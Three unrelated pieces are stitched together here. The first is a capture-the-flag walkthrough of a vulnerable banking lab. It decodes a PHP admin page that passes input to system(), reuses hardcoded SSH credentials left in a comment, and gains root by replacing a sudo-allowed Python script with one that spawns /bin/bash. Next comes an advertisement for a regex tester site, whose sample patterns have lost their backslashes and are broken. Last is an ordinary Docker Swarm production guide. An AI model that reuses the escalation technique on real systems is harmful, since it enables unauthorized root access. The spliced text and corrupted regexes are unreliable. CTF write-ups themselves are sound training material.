2Y29sb3InXT09PSJhZG1pbkBiYW5rLmEiKQp7CgplY2hvICI8aDMgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+V2VjbG9tZSB0byBBY2NvdW50IGNvbnRyb2wgcGFuZWw8L2gzPiI7CmVjaG8gIjxmb3JtIG1ldGhvZD0nUE9TVCc+IjsKZWNobyAiPGlucHV0IHR5cGU9J3RleHQnIHBsYWNlaG9sZGVyPSdBY2NvdW50IG51bWJlcicgbmFtZT0nYWNubyc+IjsKZWNobyAiPGJyPjxicj48YnI+IjsKZWNobyAiPGlucHV0IHR5cGU9J3RleHQnIHBsYWNlaG9sZGVyPSdNZXNzYWdlJyBuYW1lPSdtc2cnPiI7CmVjaG8gIjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdTZW5kJyBuYW1lPSdidG4nPiI7CmVjaG8gIjwvZm9ybT4iOwovL01ZIENSRURTIDotIGN5YmVyOnN1cGVyI3NlY3VyZSZwYXNzd29yZCEKaWYoaXNzZXQoJF9QT1NUWydidG4nXSkpCnsKJG1zPSRfUE9TVFsnbXNnJ107CmVjaG8gIm1zOiIuJG1zOwppZigkbXM9PT0iaWQiKQp7CnN5c3RlbSgkbXMpOwp9CmVsc2UgaWYoJG1zPT09Indob2FtaSIpCnsKc3lzdGVtKCRtcyk7Cn0KZWxzZQp7CmVjaG8gIjxzY3JpcHQ+YWxlcnQoJ1JDRSBEZXRlY3RlZCEnKTwvc2NyaXB0PiI7CnNlc3Npb25fZGVzdHJveSgpOwp1bnNldCgkX1NFU1NJT05bJ2ZhdmNvbG9yJ10pOwpoZWFkZXIoIlJlZnJlc2g6IDAuMTsgdXJsPWluZGV4Lmh0bWwiKTsKfQp9Cn0KZWxzZQp7CmVjaG8gIjxzY3JpcHQ+YWxlcnQoJ09ubHkgQWRtaW5zIGNhbiBhY2Nlc3MgdGhpcyBwYWdlIScpPC9zY3JpcHQ+IjsKc2Vzc2lvbl9kZXN0cm95KCk7CnVuc2V0KCRfU0VTU0lPTlsnZmF2Y29sb3InXSk7CmhlYWRlcigiUmVmcmVzaDogMC4xOyB1cmw9aW5kZXguaHRtbCIpOwp9Cj8+Cg==

Now lets decode it (you can use online decoders just browsing it).

<!DOCTYPE html>
<html>
<head>
<style>
form
{
  border: 2px solid black;
  outline: #4CAF50 solid 3px;
  margin: auto;
  width:180px;
  padding: 20px;
  text-align: center;
}


ul {
  list-style-type: none;
  margin: 0;
  padding: 0;
  overflow: hidden;
  background-color: #333;
}

li {
  float: left;
  border-right:1px solid #bbb;
}

li:last-child {
  border-right: none;
}

li a {
  display: block;
  color: white;
  text-align: center;
  padding: 14px 16px;
  text-decoration: none;
}

li a:hover:not(.active) {
  background-color: #111;
}

.active {
  background-color: blue;
}
</style>
</head>
<body>

<ul>
  <li><a href="dashboard.php">Dashboard</a></li>
  <li><a href="with.php">Withdraw Money</a></li>
  <li><a href="depo.php">Deposit Money</a></li>
  <li><a href="tra.php">Transfer Money</a></li>
  <li><a href="acc.php">My Account</a></li>
  <li><a href="forms.php">command</a></li>
  <li><a href="logout.php">Logout</a></li>
  <li style="float:right"><a href="contact.php">Contact Us</a></li>
</ul><br><br><br><br>

</body>
</html>

<?php

session_start();
if(isset($_SESSION['favcolor']) and $_SESSION['favcolor']==="[email protected]")
{

echo "<h3 style='text-align:center;'>Weclome to Account control panel</h3>";
echo "<form method='POST'>";
echo "<input type='text' placeholder='Account number' name='acno'>";
echo "<br><br><br>";
echo "<input type='text' placeholder='Message' name='msg'>";
echo "<input type='submit' value='Send' name='btn'>";
echo "</form>";
//MY CREDS :- cyber:super#secure&password!
if(isset($_POST['btn']))
{
$ms=$_POST['msg'];
echo "ms:".$ms;
if($ms==="id")
{
system($ms);
}
else if($ms==="whoami")
{
system($ms);
}
else
{
echo "<script>alert('RCE Detected!')</script>";
session_destroy();
unset($_SESSION['favcolor']);
header("Refresh: 0.1; url=index.html");
}
}
}
else
{
echo "<script>alert('Only Admins can access this page!')</script>";
session_destroy();
unset($_SESSION['favcolor']);
header("Refresh: 0.1; url=index.html");
}
?>

Here we have: //MY CREDS :- cyber:super#secure&password!

Now let’s try to login using SSH.

After logged in, we have flag1.txt. Now lets find others. We got also python file called run.py. But it requires admin privilege. So let’s keep digging.

drwx------ 3 cyber cyber 4096 Nov 17  2020 .
drwxr-xr-x 4 root  root  4096 Nov 16  2020 ..
-rw------- 1 cyber cyber    0 Nov 17  2020 .bash_history
-rw-r--r-- 1 cyber cyber  220 Nov  9  2020 .bash_logout
-rw-r--r-- 1 cyber cyber 3637 Nov  9  2020 .bashrc
drwx------ 2 cyber cyber 4096 Nov  9  2020 .cache
-rw--w---- 1 cyber cyber   85 Nov 15  2020 flag1.txt
-rw-r--r-- 1 cyber cyber  675 Nov  9  2020 .profile
-rwx------ 1 root  root   349 Nov 15  2020 run.py

We don’t have other interesting files but but run.py. Now let’s run sudo -l and check what permissions does Cyber has.

Matching Defaults entries for cyber on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User cyber may run the following commands on ubuntu:
    (root) NOPASSWD: /usr/bin/python3 /home/cyber/run.py

Looking the output, if we can edit or change the run.py file, we can run any python file as root.

cyber@ubuntu:~$ ls -la /home/cyber/run.py
-rwx------ 1 root root 349 Nov 15  2020 /home/cyber/run.py

The owner of the file is root. But we can edit or run files with sudo rights. So, let’s create new run.py and use it to get root access.

First, you can run mv run.py run.py.hack and create new file and run.

cyber@ubuntu:~$ vim run.py
cyber@ubuntu:~$ cat run.py
import os
os.system("/bin/bash")
cyber@ubuntu:~$ sudo /usr/bin/python3 /home/cyber/run.py 
root@ubuntu:~# 

If we go to /home/yash we got flag2.txt. There is also root.txt in the same folder but it throws a message. Let’s go to /root and finish the lab.

root@ubuntu:/# cd root/
root@ubuntu:/root# ls
root.txt
root@ubuntu:/root# cat root.txt 
████████████████████████████████████  
██                                ██  
██  ████  ████  ████  ████  ████  ████
██  ████  ████  ████  ████  ████  ████
██  ████  ████  ████  ████  ████  ████
██  ████  ████  ████  ████  ████  ████
██  ████  ████  ████  ████  ████  ████
██                                ██  
████████████████████████████████████  


                        battery designed by cyberbot :)
                        Please give your reviews on [email protected] or discord cyberbot#1859

THM{ROOT_FLAG}

Hope you found it useful. If you have any other questions. I’m happy to help!!

https://www.linkedin.com/in/mikail-kakabayev

HAPPY HACKING !!!

Stop Guessing Your Regex — Test It Live in the Browser

Regular expressions are one of those things every developer knows they need but nobody enjoys writing blind. You craft a pattern, drop it into your code, run it, and it either matches nothing or matches everything. Then you tweak it, run it again, and repeat until something works.

There is a faster way.

The Problem With Writing Regex in Your Code Editor

When you write regex directly in your code, you have no feedback loop. You write the pattern, write a test string, run the whole program, and check the output. If it is wrong, you tweak and repeat. This loop is slow, especially for complex patterns matching emails, URLs, dates, or log formats.

What you actually need is a live sandbox — type a pattern, type a string, and see matches highlighted in real time. That is exactly what a browser-based regex tester gives you.

The Tool: Regex tester

The Regex Tester at sadiqbd.com/developer/regex-tester is a free, instant, browser-based tool that gives you live feedback as you type — no setup, no login, no ads.

Live match highlighting. As you type your pattern and test string, matches are highlighted instantly. You see exactly what your regex captures in real time, not after running a script.

Flag support. Toggle common regex flags directly in the tool — g for global, i for case-insensitive, m for multiline, s for dotall. No need to remember the syntax for each language.

Match details. The tool shows you each match, its position in the string, and any captured groups. This is invaluable when debugging complex patterns with multiple capture groups.

Runs entirely in the browser. No data is sent to any server. Paste sensitive log data or real strings without worry.

Common Regex Use Cases You Can Test Right Now

Here are patterns worth testing in the tool:

Email validation

^[w.-]+@[w.-]+.[a-zA-Z]{2,}$

URL matching

https?://(www.)?[-a-zA-Z0-9@:%._+~#=]{2,256}.[a-z]{2,6}b([-a-zA-Z0-9@:%_+.~#?&/=]*)

Extract dates in YYYY-MM-DD format

d{4}-d{2}-d{2}

Match IP addresses

bd{1,3}.d{1,3}.d{1,3}.d{1,3}b

Remove extra whitespace

s{2,}

Paste any of these into sadiqbd.com/developer/regex-tester and test them against your own strings instantly.

Regex Flags Explained

If you have ever been confused by regex flags, here is a quick reference:

Flag Meaning
g Global — find all matches, not just the first
i Case-insensitive — A matches a
m Multiline — ^ and $ match start/end of each line
s Dotall — . matches newline characters too

The sadiqbd regex tester lets you toggle these with checkboxes so you can see the difference immediately without rewriting your pattern.

Decoding vs. Debugging Regex

There are two things a regex tester helps you with that are easy to confuse.

Testing means checking if a pattern matches a string. You have a pattern in mind and you want to confirm it works on your input.

Debugging means figuring out why a pattern is not matching what you expect. This is where live highlighting is critical — you can see exactly where the match stops and why.

Both are equally important, and both are faster with a visual tool than with trial-and-error in code.

Other Developer Tools on sadiqbd.com

The Regex Tester is part of a broader free developer toolkit at sadiqbd.com/developer. A few others worth bookmarking:

JWT Decoder — decode and inspect JSON Web Tokens instantly, with expiry status

JSON Formatter — prettify and validate JSON in one click

Base64 Encoder/Decoder — encode or decode Base64 strings without a terminal

Hash Generator — generate MD5, SHA-1, SHA-256, SHA-512 hashes instantly

Timestamp Converter — convert Unix timestamps to human-readable dates and back

UUID Generator — generate RFC 4122-compliant UUIDs on demand

Cron Explainer — paste a cron expression and get a plain-English explanation

All free, all instant, no account required. Full collection at sadiqbd.com.

The Bottom Line

Next time you are writing a regex pattern, do not test it blind inside your code. Open sadiqbd.com/developer/regex-tester, paste your pattern and test string, and see matches highlighted live.

It takes ten seconds and saves you from a debugging loop that could take ten minutes.

Beyond the Hype: My Production Playbook for Docker Swarm

Every time container orchestration comes up, the conversation almost immediately turns into Kubernetes.

And I understand why.

Kubernetes is powerful. It has a huge ecosystem, strong abstractions, custom resources, operators, service meshes, admission controllers, and almost unlimited extensibility. For large organizations running complex multi-tenant platforms, Kubernetes often makes sense.

But after years of working with Linux infrastructure, backend systems, private and public cloud environments, CI/CD pipelines, monitoring stacks, and production deployments, I learned something that is easy to forget:

The best infrastructure is not always the most powerful one. It is the one your team can operate safely under pressure.

This is where Docker Swarm still deserves respect.

I do not see Docker Swarm as a toy, a legacy fallback, or something only suitable for small demos. I see it as a pragmatic orchestration layer for teams that want production-grade container deployment without turning the orchestrator itself into the main project.

In this article, I want to share how I think about Docker Swarm from a senior engineering perspective: not as a beginner tutorial, but as a practical playbook for architecture, security, deployment, monitoring, and real production trade-offs.

No hello-world examples.
No hype.
Just the things that matter when systems are running at 3 AM and someone has to debug them.

Why I Still Take Docker Swarm Seriously

The biggest advantage of Docker Swarm is not that it has more features than Kubernetes.

It does not.

The advantage is that it gives you enough orchestration with much less operational complexity.

If your team already understands Docker and docker-compose, Swarm feels natural. You can move from a single-machine Compose setup to a multi-node cluster without completely changing the mental model.

That matters.

In production, cognitive load is a real cost. Every abstraction you introduce must be learned, documented, monitored, upgraded, secured, and debugged. A more powerful platform can easily become a liability if the team cannot operate it confidently.

For many real-world backend systems, the requirements are very clear:

  • run multiple replicas of an API
  • deploy without downtime
  • rollback automatically when something fails
  • isolate internal services from public traffic
  • keep secrets out of images and environment files
  • monitor node and container health
  • scale horizontally when needed
  • keep the architecture understandable

Docker Swarm can handle these requirements well.

The important point is this: Swarm is not a replacement for Kubernetes in every scenario. But it can be the better engineering choice when simplicity, speed, and operational clarity matter more than infinite extensibility.

Docker Swarm vs Kubernetes: My Practical Comparison

I do not like religious technology debates. Most tools are good or bad depending on the context.

So instead of asking, “Which one is better?”, I prefer to ask:

What operational cost am I accepting, and what business or technical capability am I getting in return?

Here is how I usually compare Docker Swarm and Kubernetes.

Area Docker Swarm Kubernetes
Operational complexity Low High
Learning curve Friendly if you know Docker Compose Steep, with many new abstractions
Control plane Built into Docker Engine Multiple components and etcd
Service discovery Built-in DNS and VIP Built-in, but with more moving parts
Networking Overlay networks and routing mesh CNI-based networking
Extensibility Limited Very high
Ecosystem Smaller Massive
Best fit Simple to medium production systems Large platforms and complex orchestration needs

For example, if you need custom operators, advanced autoscaling, complex RBAC policies, admission controllers, multi-tenant platform engineering, or service mesh integration, Kubernetes is usually the stronger choice.

But if your goal is to run backend services, workers, reverse proxies, queues, internal APIs, and scheduled workloads across a small or medium cluster, Swarm may give you a cleaner path with fewer operational surprises.

In my experience, many teams do not fail because their orchestrator lacks features. They fail because their infrastructure becomes too complex for the team operating it.

The Mental Model: Managers, Workers, Services, and Tasks

Before talking about production architecture, it is important to understand the Swarm model.

A Swarm cluster has two main node roles:

  • Manager nodes maintain cluster state and make scheduling decisions.
  • Worker nodes run the actual containers.

In Swarm, you do not usually think in terms of individual containers. You think in terms of services.

A service defines the desired state:

  • which image to run
  • how many replicas should exist
  • which networks it should join
  • which secrets it needs
  • which constraints control placement
  • how updates and rollbacks should happen

Swarm then creates tasks to satisfy that desired state. A task is basically one running instance of a service.

This desired-state model is one of the most important ideas in orchestration. You are no longer manually saying, “Run this container here.” You are saying, “I want five replicas of this service, and I want them to follow these rules.”

The orchestrator continuously tries to make reality match that desired state.

That sounds simple, but it changes how you design deployments.

Raft, Quorum, and Why Manager Count Matters

Manager nodes in Docker Swarm use the Raft consensus algorithm to maintain cluster state.

This is one of the most important production details.

Raft needs quorum. In simple terms, the cluster must have a majority of managers available to make decisions.

The formula is:

quorum = (number_of_managers / 2) + 1

This leads to one very practical rule:

Do not run an even number of manager nodes.

If you run two managers and lose one, the cluster cannot maintain quorum. If a network partition happens, you can end up with an unavailable control plane.

For most production Swarm clusters, I prefer:

  • 1 manager for small non-critical environments
  • 3 managers for serious production
  • 5 managers for larger or more resilient setups

I rarely see a good reason to go beyond five managers. More managers increase coordination overhead and do not automatically make your system better.

Also, managers should be treated carefully. They are not just “normal servers.” They hold the cluster state. If they are overloaded, unstable, or poorly secured, the whole cluster becomes fragile.

My Rule: Managers Manage, Workers Work

One of the first production mistakes I try to avoid is running application workloads on manager nodes.

Yes, Docker Swarm technically allows it.

But in a serious environment, I prefer to drain manager nodes:

docker node update --availability drain <manager-node-name>

This prevents normal application tasks from being scheduled on that manager.

Why?

Because manager nodes are responsible for orchestration, scheduling, cluster state, and Raft communication. If your application has a traffic spike, a memory leak, noisy logs, or heavy CPU usage, you do not want that to compete with the control plane.

A clean separation is easier to reason about:

  • managers handle cluster decisions
  • workers run application workloads
  • edge nodes handle public traffic when needed
  • monitoring nodes handle metrics and dashboards when possible

This separation may look boring, but boring infrastructure is usually what you want in production.

Networking: The Part You Must Understand Before Production

Docker Swarm networking is powerful, but you need to understand what it is doing.

Swarm gives you overlay networks. Services attached to the same overlay network can communicate with each other by service name.

For example, your API can connect to Redis using:

redis:6379

instead of hardcoding an IP address.

That is useful because tasks can move between nodes, containers can restart, and IP addresses can change. Service discovery hides that complexity.

But there are two important networking concepts you must understand: VIP mode and DNSRR mode.

VIP Mode and the Routing Mesh

By default, Swarm gives a service a Virtual IP, or VIP.

When another service connects to that VIP, Docker uses internal load balancing to route traffic to one of the active tasks.

This is convenient. It gives you service-level load balancing without installing an external load balancer for internal traffic.

Swarm also has the routing mesh. When you publish a port, traffic can arrive on any node in the cluster and still be routed to a container running somewhere else.

For example:

ports:
  - target: 8080
    published: 8080
    protocol: tcp

With the routing mesh, a request to port 8080 on any node can reach the service.

This is useful, but it also has trade-offs.

The biggest one: preserving the real client IP can become difficult. If you need accurate client IPs for rate limiting, security logs, fraud checks, or WAF rules, you need to be careful.

In those cases, I often prefer publishing ports in host mode at the edge:

ports:
  - target: 443
    published: 443
    protocol: tcp
    mode: host

This bypasses the routing mesh for that published port and gives you more predictable network behavior at the cost of less automatic distribution.

In production, I usually prefer a clear edge layer using Nginx, Traefik, or HAProxy instead of exposing many services directly through the routing mesh.

DNSRR Mode: When You Want More Control

VIP mode is simple, but sometimes you want the client or an upstream proxy to see all task IPs directly.

That is where DNS round-robin mode can help.

You can configure endpoint mode like this:

deploy:
  endpoint_mode: dnsrr

In this mode, DNS returns multiple task IPs instead of a single VIP.

This can be useful when you have an external load balancer, a custom proxy layer, or a system that needs direct awareness of backend instances.

But I would not use DNSRR everywhere by default. VIP mode is usually simpler. DNSRR is useful when you have a specific reason for it.

That is a general production rule I follow:

Do not choose a more advanced mode just because it exists. Choose it when it solves a real operational problem.

Security: Swarm Gives You Good Primitives, But You Must Use Them Correctly

Security in container orchestration is not one feature. It is a posture.

Docker Swarm gives you useful security primitives:

  • mutual TLS between nodes
  • encrypted manager communication
  • overlay networks
  • secrets
  • service constraints
  • least-exposure networking

But these primitives only help if the architecture uses them properly.

A weak Swarm setup usually has the same problems I see in many weak Docker setups:

  • public services attached to internal networks unnecessarily
  • secrets stored in .env files
  • manager nodes running random workloads
  • no resource limits
  • no clear firewall rules
  • too many published ports
  • no monitoring for abnormal behavior
  • no separation between frontend and backend networks

The goal is not to make containers magically secure. The goal is to reduce blast radius.

Use Docker Secrets Instead of Environment Variables

One of the easiest security improvements is to stop passing sensitive values through environment variables.

Environment variables are convenient, but they are not ideal for secrets. They can appear in process inspection, debugging output, crash reports, or accidental logs. They can also be exposed through careless use of docker inspect or application error reporting.

Docker Secrets are a better default.

A secret is mounted inside the container as a file, usually under:

/run/secrets/<secret_name>

For example:

services:
  api:
    image: my-registry.example.com/backend-api:1.0.0
    secrets:
      - db_password
    environment:
      - DB_PASSWORD_FILE=/run/secrets/db_password

secrets:
  db_password:
    external: true

Then your application reads the password from the file path instead of directly from an environment variable.

This pattern works especially well for Go, Node.js, Python, and PHP services because it is easy to implement a small helper that reads from *_FILE variables.

A simple Node.js example:

import fs from "fs";

function readSecret(path) {
  return fs.readFileSync(path, "utf8").trim();
}

const dbPassword = readSecret(process.env.DB_PASSWORD_FILE);

This is not perfect security, but it is a much cleaner baseline.

Encrypt Overlay Networks When Needed

By default, Docker Swarm encrypts control-plane communication between nodes.

But application traffic on overlay networks is not automatically encrypted in every case. If your services communicate across untrusted networks, multiple data centers, or environments where internal traffic should be treated as sensitive, you should consider encrypted overlay networks.

Example:

networks:
  backend_net:
    driver: overlay
    driver_opts:
      encrypted: "true"

This enables IPsec encryption for traffic on that overlay network.

There is a performance cost, so I do not enable it blindly for every network in every environment. But for sensitive backend communication, I prefer the overhead over silently passing internal traffic in plain form.

The senior-level decision is not “encrypt everything always.”

The decision is:

Which network paths carry sensitive data, and what is the cost of exposure compared to the cost of encryption?

Network Segmentation: Do Not Put Everything on One Overlay Network

A common mistake is creating one large overlay network and attaching every service to it.

That is easy, but it creates unnecessary reachability.

I prefer separating networks by trust boundary.

Example:

networks:
  edge_net:
    driver: overlay

  app_net:
    driver: overlay

  data_net:
    driver: overlay
    driver_opts:
      encrypted: "true"

Then services are attached only where needed:

  • reverse proxy joins edge_net and app_net
  • API joins app_net and data_net
  • database joins only data_net
  • monitoring joins only monitoring-related networks

This is simple, but it makes lateral movement harder and reduces accidental exposure.

In production, “can this service reach that service?” should have a deliberate answer.

Resource Limits Are Not Optional

Containers without resource limits are a production risk.

A memory leak, CPU-heavy request, bad loop, or unexpected traffic pattern can damage the entire node.

In Swarm stacks, I like to define both reservations and limits:

deploy:
  resources:
    reservations:
      cpus: "0.25"
      memory: 256M
    limits:
      cpus: "1.0"
      memory: 768M

Reservations help the scheduler make better placement decisions.

Limits protect the node from a noisy container.

You need to tune these numbers based on real metrics, not guesses. But having no limits at all is usually worse than starting with conservative values and adjusting later.

Placement Constraints: Treat Nodes as Different Classes

Not every node should run every workload.

In real infrastructure, nodes often have different purposes:

  • public edge nodes
  • backend worker nodes
  • storage-heavy nodes
  • GPU nodes
  • monitoring nodes
  • nodes in different availability zones

Docker Swarm supports node labels and placement constraints.

Example:

docker node update --label-add zone=dmz worker-01
docker node update --label-add workload=backend worker-02
docker node update --label-add storage=fast worker-03

Then in your stack:

deploy:
  placement:
    constraints:
      - node.role == worker
      - node.labels.workload == backend

This gives you a clean way to express infrastructure intent.

For example, I may want:

  • Nginx or Traefik only on edge nodes
  • APIs only on backend workers
  • databases only on storage nodes
  • internal tools never on public-facing nodes

This is one of those features that looks small but becomes very important as the cluster grows.

Zero-Downtime Deployment Strategy

A production deployment should not be “stop old containers, start new containers, hope everything works.”

Swarm gives you rolling update controls.

A good baseline looks like this:

deploy:
  update_config:
    parallelism: 1
    delay: 10s
    order: start-first
    failure_action: rollback
  rollback_config:
    parallelism: 1
    delay: 5s
    order: stop-first

The most important setting here is often:

order: start-first

This tells Swarm to start the new task before stopping the old one. For APIs and web services, this helps reduce downtime during deployments.

But this only works well if your application is ready for it.

That means:

  • the app must start reliably
  • health checks must be meaningful
  • migrations must be backward-compatible
  • old and new versions may run at the same time briefly
  • the service must handle graceful shutdown

The orchestrator can help with deployment, but it cannot fix bad application lifecycle design.

Health Checks: Do Not Fake Them

A weak health check is worse than no health check because it creates false confidence.

I do not like health checks that only confirm the process is alive.

For example, this is weak:

GET /health

returning 200 OK no matter what.

A better health check should answer:

Can this instance actually serve traffic?

Depending on the service, that may include checking:

  • HTTP server readiness
  • database connection
  • Redis connection
  • required config loaded
  • dependency availability
  • migration state

But be careful: a health check should not become too expensive. If every health check runs a heavy database query every few seconds, the health check becomes part of the problem.

A practical pattern is separating liveness and readiness:

  • liveness: is the process alive?
  • readiness: is the service ready to receive traffic?

In many Swarm setups, you implement this at the application and reverse-proxy layer, even if Swarm’s health check support is simpler than Kubernetes.

Example:

healthcheck:
  test: ["CMD", "wget", "-qO-", "http://localhost:8080/health"]
  interval: 10s
  timeout: 3s
  retries: 3
  start_period: 20s

The real work is not adding this YAML. The real work is making /health meaningful.

A Production-Ready Stack Example

Here is a practical Swarm stack example with edge routing, backend isolation, secrets, placement constraints, update strategy, and resource controls.

version: "3.8"

services:
  reverse_proxy:
    image: nginx:1.25-alpine
    ports:
      - target: 443
        published: 443
        protocol: tcp
        mode: host
    networks:
      - edge_net
      - app_net
    configs:
      - source: nginx_conf
        target: /etc/nginx/nginx.conf
    deploy:
      mode: global
      placement:
        constraints:
          - node.role == worker
          - node.labels.zone == dmz
      resources:
        reservations:
          cpus: "0.10"
          memory: 128M
        limits:
          cpus: "0.50"
          memory: 256M
      update_config:
        parallelism: 1
        delay: 5s
        order: start-first
        failure_action: rollback

  api:
    image: registry.example.com/company/api:v2.4.1
    networks:
      - app_net
      - data_net
    secrets:
      - db_password
      - jwt_private_key
    environment:
      - NODE_ENV=production
      - PORT=8080
      - DB_HOST=postgres
      - DB_PASSWORD_FILE=/run/secrets/db_password
      - JWT_PRIVATE_KEY_FILE=/run/secrets/jwt_private_key
    healthcheck:
      test: ["CMD", "wget", "-qO-", "http://localhost:8080/health"]
      interval: 10s
      timeout: 3s
      retries: 3
      start_period: 20s
    deploy:
      replicas: 6
      placement:
        constraints:
          - node.role == worker
          - node.labels.workload == backend
      resources:
        reservations:
          cpus: "0.25"
          memory: 256M
        limits:
          cpus: "1.00"
          memory: 768M
      update_config:
        parallelism: 2
        delay: 10s
        order: start-first
        failure_action: rollback
      rollback_config:
        parallelism: 1
        delay: 5s

  worker:
    image: registry.example.com/company/worker:v2.4.1
    networks:
      - data_net
    secrets:
      - db_password
    environment:
      - QUEUE_NAME=default
      - DB_PASSWORD_FILE=/run/secrets/db_password
    deploy:
      replicas: 3
      placement:
        constraints:
          - node.role == worker
          - node.labels.workload == backend
      resources:
        reservations:
          cpus: "0.25"
          memory: 256M
        limits:
          cpus: "1.50"
          memory: 1024M
      update_config:
        parallelism: 1
        delay: 15s
        order: stop-first
        failure_action: rollback

networks:
  edge_net:
    driver: overlay

  app_net:
    driver: overlay

  data_net:
    driver: overlay
    driver_opts:
      encrypted: "true"

secrets:
  db_password:
    external: true
  jwt_private_key:
    external: true

configs:
  nginx_conf:
    external: true

This is not a copy-paste solution for every company. But it shows the mindset:

  • edge traffic is separated
  • backend traffic is internal
  • sensitive network traffic is encrypted
  • secrets are mounted as files
  • managers are avoided for workloads
  • resources are controlled
  • deployments have rollback behavior
  • public ports are minimized

That is the difference between “it runs” and “I can operate this under stress.”

Observability: What I Monitor in Swarm

You cannot run production infrastructure with hope as your monitoring strategy.

For Docker Swarm, I usually think about observability at four levels:

  1. Node-level metrics
  2. Container-level metrics
  3. Service-level behavior
  4. Application-level signals

A common stack is:

  • Prometheus
  • Grafana
  • Node Exporter
  • cAdvisor
  • Loki or another log aggregation system
  • Alertmanager

Node Exporter gives host metrics:

  • CPU
  • memory
  • disk usage
  • disk I/O
  • filesystem pressure
  • network traffic

cAdvisor gives container metrics:

  • container CPU usage
  • memory usage
  • restart patterns
  • throttling
  • network traffic per container

Prometheus scrapes metrics, Grafana visualizes them, and Alertmanager handles notifications.

A minimal global cAdvisor service can look like this:

services:
  cadvisor:
    image: gcr.io/cadvisor/cadvisor:v0.49.1
    volumes:
      - /:/rootfs:ro
      - /var/run:/var/run:rw
      - /sys:/sys:ro
      - /var/lib/docker/:/var/lib/docker:ro
    networks:
      - monitoring
    deploy:
      mode: global
      resources:
        reservations:
          memory: 64M
        limits:
          memory: 256M

And Node Exporter:

services:
  node_exporter:
    image: prom/node-exporter:v1.7.0
    command:
      - "--path.rootfs=/host"
    volumes:
      - "/:/host:ro,rslave"
    networks:
      - monitoring
    deploy:
      mode: global

For service discovery inside Swarm, I like using the tasks.<service_name> DNS pattern.

For example, Prometheus can resolve:

tasks.cadvisor

and discover all running cAdvisor tasks.

This is simple and works well without introducing another service discovery system.

The Alerts I Actually Care About

Dashboards are useful, but alerts are what wake people up.

I try to avoid noisy alerts. A noisy alerting system becomes background noise and people stop trusting it.

For Swarm, I care about alerts like:

  • manager node down
  • quorum risk
  • worker node down
  • high memory pressure
  • disk usage above threshold
  • container restart loop
  • service replica count below desired state
  • high 5xx rate from the reverse proxy
  • high latency on critical APIs
  • certificate expiration approaching
  • unusual increase in blocked or suspicious requests

The important thing is to connect infrastructure signals with application signals.

For example, high CPU alone may not be urgent. But high CPU plus increased latency plus replica restarts is a real incident.

This is where senior engineering judgment matters. Monitoring is not about collecting everything. It is about knowing which signals explain user impact.

Logging: Centralize It Early

On a single server, docker logs is fine.

In a cluster, it is not enough.

Once a service has replicas across several nodes, manual log inspection becomes painful. You need centralized logs.

I prefer to standardize logs as structured JSON where possible.

A good application log should include:

  • timestamp
  • request ID or correlation ID
  • service name
  • environment
  • log level
  • route or operation name
  • latency
  • user or tenant ID when appropriate
  • error code
  • upstream dependency name

For the infrastructure side, reverse proxy logs are extremely valuable. They show:

  • real client IP
  • request path
  • status code
  • upstream response time
  • user agent
  • TLS details
  • blocked paths
  • suspicious probing attempts

This is especially important for public APIs because a lot of malicious traffic starts with boring-looking HTTP requests.

Backup and Disaster Recovery: Do Not Ignore the Managers

People often think about database backups but forget about orchestrator state.

In Docker Swarm, manager state matters.

You should have a recovery plan for:

  • losing a worker node
  • losing a manager node
  • losing quorum
  • rotating join tokens
  • restoring service definitions
  • restoring secrets/configs
  • rebuilding the cluster from infrastructure code

I do not like relying only on manual server state. I prefer keeping stack files, Nginx configs, Prometheus configs, deployment scripts, and infrastructure notes in Git.

That way, if the cluster has to be rebuilt, the knowledge is not trapped inside one engineer’s terminal history.

For manager backups, you need to understand your Docker version and operational procedure carefully. The key point is not to improvise disaster recovery during the disaster.

Test the recovery path before you need it.

CI/CD: Keep Deployments Predictable

A simple Swarm deployment pipeline can be very effective.

A common flow:

  1. Build the Docker image.
  2. Tag it with a commit SHA or version.
  3. Push it to a registry.
  4. SSH into a manager or use a controlled deployment runner.
  5. Run docker stack deploy with the updated image.
  6. Verify service state.
  7. Check health and logs.
  8. Roll back if needed.

Example:

docker stack deploy 
  --with-registry-auth 
  -c docker-compose.prod.yml 
  my_app

I strongly prefer immutable image tags for production deployments.

Avoid this:

my-api:latest

Prefer this:

my-api:2026-05-23-a1b2c3d

or:

my-api:git-sha-a1b2c3d

When something breaks, you need to know exactly what is running.

latest is convenient until you are debugging an incident and cannot prove which code is actually deployed.

Database Migrations: The Dangerous Part of Zero-Downtime Deployments

Orchestrators make it easy to roll out new containers.

They do not automatically make database changes safe.

This is where many “zero-downtime” strategies fail.

The safe pattern is usually expand-and-contract:

  1. Add new schema changes in a backward-compatible way.
  2. Deploy application code that can work with both old and new schema.
  3. Backfill data if needed.
  4. Switch reads/writes to the new structure.
  5. Remove old columns or tables later.

Avoid deployments where the new application requires a schema change that immediately breaks the old version.

During rolling updates, old and new containers may run at the same time. Your database design must tolerate that.

This is not a Docker Swarm problem. This is a distributed systems deployment problem.

When I Would Not Use Docker Swarm

I like Docker Swarm, but I would not use it everywhere.

I would probably choose Kubernetes if I needed:

  • custom operators
  • advanced autoscaling patterns
  • strong multi-tenancy
  • complex RBAC and policy enforcement
  • service mesh as a core requirement
  • a large platform team
  • advanced ecosystem integrations
  • cloud-native managed control plane support

I would also avoid Swarm if the organization already has a mature Kubernetes platform and the team knows how to operate it well.

Technology choice should respect organizational reality.

A simple tool in the wrong organization can still fail. A complex tool in a mature organization can work beautifully.

When I Would Choose Docker Swarm

I would choose Docker Swarm when the system needs:

  • simple multi-node orchestration
  • predictable deployments
  • low operational overhead
  • easy onboarding for Docker-experienced engineers
  • internal APIs and workers
  • small to medium clusters
  • strong enough orchestration without platform engineering complexity
  • fast recovery and simple mental models

For many backend teams, this is enough.

And “enough” is underrated.

In engineering, the goal is not to maximize architecture complexity. The goal is to deliver reliable systems that the team can understand, secure, monitor, and improve.

My Final Production Checklist

If I were reviewing a Docker Swarm setup before production, I would ask these questions:

  • Do we have 3 or 5 managers for production?
  • Are manager nodes drained from application workloads?
  • Are public ports minimized?
  • Are edge, app, data, and monitoring networks separated?
  • Are sensitive overlay networks encrypted where needed?
  • Are secrets stored with Docker Secrets instead of .env files?
  • Do services have CPU and memory limits?
  • Do critical services have health checks?
  • Do deployments use rolling updates and rollback behavior?
  • Are image tags immutable?
  • Are logs centralized?
  • Are metrics collected from nodes and containers?
  • Are alerts meaningful and not noisy?
  • Is there a documented recovery plan?
